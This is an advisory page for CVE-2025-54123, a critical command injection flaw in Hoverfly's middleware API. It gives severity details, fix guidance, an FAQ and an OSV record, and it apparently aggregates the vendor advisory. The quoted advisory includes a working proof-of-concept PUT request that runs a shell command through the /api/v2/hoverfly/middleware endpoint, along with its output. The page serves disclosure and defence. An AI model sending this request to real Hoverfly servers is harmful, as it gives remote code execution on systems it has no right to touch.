CVE-2025-54123: Github.com/SpectoLabs/hoverfly Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-r4h8-hfp2-ggmf
CVSS 9.8
CWE-78 CWE-20
Published
Advisory Summary

CVE-2025-54123 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Github.com/SpectoLabs/hoverfly libraries in the Go ecosystem. The issue involves hoverfly is vulnerable to remote code execution through an insecure middleware implementation. Remediation is available in the latest vendor maintenance releases.

CVE-2025-54123 at a Glance

CVE Identifier CVE-2025-54123
GHSA Identifier GHSA-r4h8-hfp2-ggmf
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Github.com/SpectoLabs/hoverfly
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-54123

To remediate this vulnerability, upgrade all affected Github.com/SpectoLabs/hoverfly dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/SpectoLabs/hoverfly fixed: Latest secure release
Upgrade github.com/SpectoLabs/hoverfly to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/SpectoLabs/hoverfly

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-54123, inspect your project dependencies for Github.com/SpectoLabs/hoverfly:

inspect dependencies for github.com/SpectoLabs/hoverfly

Analyze the terminal output to locate any version of Github.com/SpectoLabs/hoverfly in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Github.com/SpectoLabs/hoverfly, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary It has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input. ### Details The vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. This issue is born due to combination of three code level flaws: 1. Insufficient Input Validation in [middleware.go line 94-96](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93): ``` func (this *Middleware) SetBinary(binary string) error { this.Binary = binary // No validation of binary parameter here return nil } ``` 2. Unsafe Command Execution in [local_middleware.go line 14-19](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13): ``` var middlewareCommand *exec.Cmd if this.Script == nil { middlewareCommand = exec.Command(this.Binary) // User-controlled binary } else { middlewareCommand = exec.Command(this.Binary, this.Script.Name()) // User-controlled binary and script } ``` 3. Immediate Execution During Testing in [hoverfly_service.go line 173](https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173): ``` _, err = newMiddleware.Execute(testData) // Executes middleware immediately for testing ``` ### POC 1. Send the below HTTP PUT request to `http://localhost:8888` in order to create our malicious middleware, this will execute a simple `whoami` command on target. (ADMIN UI/API) Here, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: `/bin/bash /tmp/{hoverfly_script}`, and Boom! The malicious script will get executed with Hoverfly's privileges. ``` PUT /api/v2/hoverfly/middleware HTTP/1.1 Host: localhost:8888 sec-ch-ua-platform: "macOS" Accept-Language: en-US,en;q=0.9 Accept: application/json, text/plain, */* sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138" User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8888/dashboard Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Type: application/json Content-Length: 101 { "binary": "/bin/bash", "script": "whoami" } ``` ``` HTTP/1.1 422 Unprocessable Entity Date: Sat, 12 Jul 2025 15:55:49 GMT Content-Length: 540 Content-Type: text/plain; charset=utf-8 {"error":"Failed to unmarshal JSON from middleware\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\ninvalid character 'k' looking for beginning of value\n\nSTDIN:\n{\"response\":{\"status\":200,\"body\":\"ok\",\"encodedBody\":false,\"headers\":{\"test_header\":[\"true\"]}},\"request\":{\"path\":\"/\",\"method\":\"GET\",\"destination\":\"www.test.com\",\"scheme\":\"\",\"query\":\"\",\"formData\":null,\"body\":\"\",\"headers\":{\"test_header\":[\"true\"]}}}\n\nSTDOUT:\nkr1shna4garwal\n"} ``` (Here, the user is `kr1shna4garwal`) ### Impact This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process. Reporter: @kr1shna4garwal

CVE-2025-54123 Affected Github.com/SpectoLabs/hoverfly Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/SpectoLabs/hoverfly
Go
≤ 1.11.3

References

Frequently Asked Questions

What is CVE-2025-54123?
CVE-2025-54123 is a security vulnerability in Github.com/SpectoLabs/hoverfly involving Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Github.com/SpectoLabs/hoverfly versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/SpectoLabs/hoverfly.
What version fixes CVE-2025-54123?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/SpectoLabs/hoverfly affected?
Yes, github.com/SpectoLabs/hoverfly is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2025-54123?
CVE-2025-54123 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-54123?
CVE-2025-54123 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2025-54123?
Run the dependency tree command: 'inspect dependencies for github.com/SpectoLabs/hoverfly'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r4h8-hfp2-ggmf",
  "modified" : "2025-09-13T03:08:55Z",
  "published" : "2025-09-10T19:48:43Z",
  "aliases" : [ "CVE-2025-54123" ],
  "summary" : "Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation",
  "details" : "### Summary\nIt has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input.\n\n### Details\nThe vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. \n\nThis issue is born due to combination of three code level flaws:\n\n1. Insufficient Input Validation in [middleware.go line 94-96](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93):\n\n```\nfunc (this *Middleware) SetBinary(binary string) error {\n    this.Binary = binary  // No validation of binary parameter here\n    return nil\n}\n```\n\n2. Unsafe Command Execution in [local_middleware.go line 14-19](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13):\n\n```\nvar middlewareCommand *exec.Cmd\nif this.Script == nil {\n    middlewareCommand = exec.Command(this.Binary)  // User-controlled binary\n} else {\n    middlewareCommand = exec.Command(this.Binary, this.Script.Name())  // User-controlled binary and script\n}\n```\n\n3. Immediate Execution During Testing in [hoverfly_service.go line 173](https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173):\n\n```\n_, err = newMiddleware.Execute(testData)  // Executes middleware immediately for testing\n```\n\n### POC\n\n1. Send the below HTTP PUT request to `http://localhost:8888` in order to create our malicious middleware, this will execute a simple `whoami` command on target. (ADMIN UI/API)\n\nHere, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: `/bin/bash /tmp/{hoverfly_script}`, and Boom! The malicious script will get executed with Hoverfly's privileges.\n\n```\nPUT /api/v2/hoverfly/middleware HTTP/1.1\nHost: localhost:8888\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nsec-ch-ua: \"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\nsec-ch-ua-mobile: ?0\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:8888/dashboard\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nContent-Type: application/json\nContent-Length: 101\n\n{\n    \"binary\": \"/bin/bash\",\n    \"script\": \"whoami\"\n}\n```\n\n```\nHTTP/1.1 422 Unprocessable Entity\nDate: Sat, 12 Jul 2025 15:55:49 GMT\nContent-Length: 540\nContent-Type: text/plain; charset=utf-8\n\n{\"error\":\"Failed to unmarshal JSON from middleware\\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\\ninvalid character 'k' looking for beginning of value\\n\\nSTDIN:\\n{\\\"response\\\":{\\\"status\\\":200,\\\"body\\\":\\\"ok\\\",\\\"encodedBody\\\":false,\\\"headers\\\":{\\\"test_header\\\":[\\\"true\\\"]}},\\\"request\\\":{\\\"path\\\":\\\"/\\\",\\\"method\\\":\\\"GET\\\",\\\"destination\\\":\\\"www.test.com\\\",\\\"scheme\\\":\\\"\\\",\\\"query\\\":\\\"\\\",\\\"formData\\\":null,\\\"body\\\":\\\"\\\",\\\"headers\\\":{\\\"test_header\\\":[\\\"true\\\"]}}}\\n\\nSTDOUT:\\nkr1shna4garwal\\n\"}\n```\n(Here, the user is `kr1shna4garwal`)\n\n### Impact\n\nThis allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.\n\nReporter:\n@kr1shna4garwal",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/SpectoLabs/hoverfly"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.11.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54123"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SpectoLabs/hoverfly/pull/1203"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SpectoLabs/hoverfly/commit/17e60a9bc78826deb4b782dca1c1abd3dbe60d40"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SpectoLabs/hoverfly/commit/a9d4da7bd7269651f54542ab790d0c613d568d3e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SpectoLabs/hoverfly"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-10T19:48:43Z",
    "nvd_published_at" : "2025-09-10T19:15:41Z"
  }
}